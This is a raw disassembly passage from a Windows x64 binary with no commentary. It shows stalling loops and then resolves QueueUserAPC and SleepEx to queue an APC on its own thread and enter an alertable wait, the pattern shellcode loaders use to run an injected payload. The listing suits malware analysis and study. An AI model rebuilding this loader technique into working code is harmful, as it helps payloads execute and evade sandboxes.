lea rdx, [rax*4]
mov rax, qword [rbp + 0x618]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x7e8], 1
cmp dword [rbp + 0x7e8], 0x252
jle 0x1400028fc
mov dword [rbp + 0x7e8], 0
jmp 0x140002a87
cmp dword [rbp + 0x7e8], 0
je 0x1400029ec
mov eax, dword [rbp + 0x7e8]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x618]
add rax, rdx
movss xmm1, dword [rax]
mov eax, dword [rbp + 0x7e8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x618]
add rax, rdx
movss xmm0, dword [rax]
comiss xmm0, xmm1
jb 0x1400029f8
add dword [rbp + 0x7e8], 1
jmp 0x140002a87
mov eax, dword [rbp + 0x7e8]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x618]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x614], xmm0
mov eax, dword [rbp + 0x7e8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x618]
add rdx, rax
mov eax, dword [rbp + 0x7e8]
cdqe
shl rax, 2
lea rcx, [rax - 4]
mov rax, qword [rbp + 0x618]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x7e8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x618]
add rax, rdx
movss xmm0, dword [rbp + 0x614]
movss dword [rax], xmm0
sub dword [rbp + 0x7e8], 1
cmp dword [rbp + 0x7e8], 0x252
jle 0x1400029a2
mov rax, qword [rbp + 0x618]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x140002aaf
add dword [rbp + 0x7ec], 1
movsd xmm0, qword [0x140006650]
movsd qword [rbp + 0x7e0], xmm0
movsd xmm0, qword [0x140006658]
movsd qword [rbp + 0x608], xmm0
jmp 0x140002afa
movsd xmm0, qword [rbp + 0x608]
mov rax, qword [rbp + 0x7e0]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003ef0
movq rax, xmm0
mov qword [rbp + 0x7e0], rax
movsd xmm0, qword [0x140006660]
comisd xmm0, xmmword [rbp + 0x7e0]
ja 0x140002ad1
add dword [rbp + 0x7f4], 1
cmp dword [rbp + 0x7f4], 0x521
jle 0x140002887
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x630], rax
mov rax, qword [rbp + 0x7c8]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x628], rax
mov dword [rbp + 0x7d8], 0xbe
mov dword [rbp + 0x7dc], 0xbe
jmp 0x140002b76
sub dword [rbp + 0x7d8], 1
sub dword [rbp + 0x7dc], 1
cmp dword [rbp + 0x7dc], 0x50
jg 0x140002b68
mov rax, qword [rbp + 0x7c8]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x620], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x630]
mov r9, qword [rbp + 0x628]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x620]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x850]
add rsp, 0x8e8
pop rbx
pop rsi
pop rdi
pop rbp
ret